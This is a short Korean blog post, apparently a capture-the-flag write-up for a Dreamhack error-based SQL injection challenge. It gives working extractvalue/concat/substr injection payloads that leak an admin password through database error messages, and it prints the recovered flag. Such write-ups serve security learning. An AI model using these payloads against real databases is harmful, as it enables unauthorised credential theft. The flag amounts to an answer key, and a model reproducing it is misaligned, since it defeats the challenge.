본문으로 바로가기

error based sql injection 문제 풀이

category 모의해킹/Dreamhack Wargame 2025. 11. 3. 19:00
728x90

문제 설명

 

Simple Error Based SQL Injection !


Write UP

접속하자마자 SQL문장이 크게 뜨길래 오류인줄 알았지만

uid 입력란에 작성한 그대로 위에 출력이 되는 모습이다.

flag를 어디에 있는지 모르니까 코드를 봐야겠죠 ~

 

일단 flask에서 이것저것 환경설정하는 코드를 볼 수 있고

 

여기 sql 코드에서 user 테이블에 uid가 admin이고 upw가 flag인 것을 확인할 수 있다.

근데 일단 upw가 출력될만한 곳이 없어보인다.

 

사용자 입력 검증 부분이 존재하지 않으니, 문제 제목에서 알 수 있다싶이 sql 문제고..

에러로직으로 admin의 upw 데이터를 가져와야하니 XML의 함수인 extractvalue를 사용해야한다.

 

admin' AND extractvalue(1,concat(0x3a,(SELECT upw FROM user LIMIT 1))) -- 

user 테이블에 첫번째 upw를 가져오도록하는 sql인젝션을 작성했다.

엥? flag가 짤려서 나온다.

이럴때는 substr를 사용해서 문자열을 잘라서 가져오는 방법이 있다.

 

admin' AND extractvalue(1,concat(0x3a,(SELECT substr(upw, 1, 30) FROM user LIMIT 1))) -- 

-> DH{c3968c78840750168774ad951fc

 

admin' AND extractvalue(1,concat(0x3a,(SELECT substr(upw, 31, 60) FROM user LIMIT 1))) -- 

-> 98bf788563c4d}

 

고로 이 두 부분을 이어붙이면 flag 완성이다! 끗

'모의해킹 > Dreamhack Wargame' 카테고리의 다른 글

Command Injection Advanced 문제 풀이  (0) 2025.11.17
command-injection-chat gpt 문제 풀이  (0) 2025.11.11
xss-2 문제풀이  (0) 2025.10.29
simple_sqli 문제 풀이  (0) 2025.10.28
xss-1 문제풀이  (0) 2025.10.27